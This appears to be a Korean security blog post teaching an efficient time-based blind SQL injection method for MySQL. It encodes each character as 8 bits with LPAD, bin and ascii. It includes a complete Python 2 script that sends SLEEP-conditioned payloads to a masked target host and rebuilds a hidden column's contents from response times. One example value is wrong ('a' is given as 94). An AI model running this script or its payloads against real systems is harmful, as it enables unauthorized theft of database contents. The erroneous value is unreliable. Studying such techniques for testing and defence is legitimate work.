본문 바로가기

Computer Security/Web

LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection

(Only mysql)


Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.

빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.

하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다.


기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.

이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다.


함수들을 설명해드리면,

ascii는 캐릭터를 숫자로 변환하는 함수입니다.

ex) 'A' -> 65, 'a' -> 94, '0' ->48


bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.

ex) 12 -> '1100', 65->'1000001'


LPAD는 글자수를 맞춰주고, 모자란만큼 왼쪽에 특정 스트링을 채워넣는 함수입니다. (아마 Left Padding의 약자인것 같습니다.)

LPAD(스트링,글자수,채울 스트링)

ex) LPAD('1',8,0) -> '00000001', LPAD('1010',8,0) -> '00001010'

그래서 항상 글자수를 8글자로 유지해주는 함수입니다.


대충 감이 오실겁니다.


이 방법은,

1. 글자 하나를 substring 해온다.

2. substring해온 글자를 숫자로 바꾼다.

3. 바꾼 숫자를 2진법으로 바꾼다.

4. 8글자로 맞춰준다.


그래서 8글자를 하나하나 확인함으로써, 한글자를 알아낼수 있는것이죠.


처음 봤을때 정말 감탄했던 방법입니다.


예제 python 코드를 보여드리겠습니다.

Time-based Blind SQL Injection을 혼합한 형태입니다.

(살짝 수정을해서, 복붙하면 제대로 돌아갈지는 모르겠네요.)


import httplib,urllib;

import time


# Blind SQL injection


# setting

conn = httplib.HTTPConnection("www.??????.com",80)

conn.connect()

toget = '[타겟 컬럼]'

answer = ""

length=[글자 길이]

k = 1

m = 1

i = 0

while 1:

        query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1) = '1',SLEEP(2),1)"

        t1 = time.time()

        params = urllib.urlencode({'id':query,'pw':'abc'})

        conn.putrequest('GET','/?????/??????.php?'+params)

        conn.endheaders()

        response = conn.getresponse()

        data = response.read()

        t2 = time.time()

        if (t2-t1) >= 2: # if it is true

                i += pow(2,8-m)

                print str(m)+" "+str(i)

        if m is 8:

                answer = answer+chr(i)

                print "Find: " + answer

                k = k+1

                i=0

                m=1
                if k > length:
                        break
                else:
                        continue
        m = m+1

print "Answer:" +answer
conn.close()